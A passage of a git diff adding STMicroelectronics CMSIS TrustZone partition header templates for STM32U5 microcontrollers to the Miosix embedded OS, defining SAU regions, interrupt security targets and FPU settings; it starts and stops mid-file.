Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DMA2D_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT4_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT5_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// I2C5_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 128..138) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 128..140 +// I2C5_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_EV_IRQn <0=> Secure state <1=> Non-Secure state +// HSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_ER_IRQn <0=> Secure state <1=> Non-Secure state +// GFXMMU_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_ER_IRQn <0=> Secure state <1=> Non-Secure state +// DSI_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE2_IRQn <0=> Secure state <1=> Non-Secure state +// GFXTIM_IRQn <0=> Secure state <1=> Non-Secure state +// JPEG_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32U5F9XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5g7xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5g7xx.h new file mode 100644 index 000000000..e31e63869 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5g7xx.h @@ -0,0 +1,695 @@ +/** + ****************************************************************************** + * @file partition_stm32u5g7xx.h + * @author MCD Application Team + * @brief CMSIS STM32U5G7xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U5G7XX_H +#define PARTITION_STM32U5G7XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C1FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C1FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08200000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x083FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x200D0000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x202EFFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0xAFFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// SAES_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// OTG_HS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// AES_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..127 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// PKA_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT3_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC1_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC2_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DMA2D_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT4_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT5_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// I2C5_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 128..138) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 128..139 +// I2C5_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_EV_IRQn <0=> Secure state <1=> Non-Secure state +// HSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_ER_IRQn <0=> Secure state <1=> Non-Secure state +// GFXMMU_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_ER_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE2_IRQn <0=> Secure state <1=> Non-Secure state +// GFXTIM_IRQn <0=> Secure state <1=> Non-Secure state +// JPEG_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << 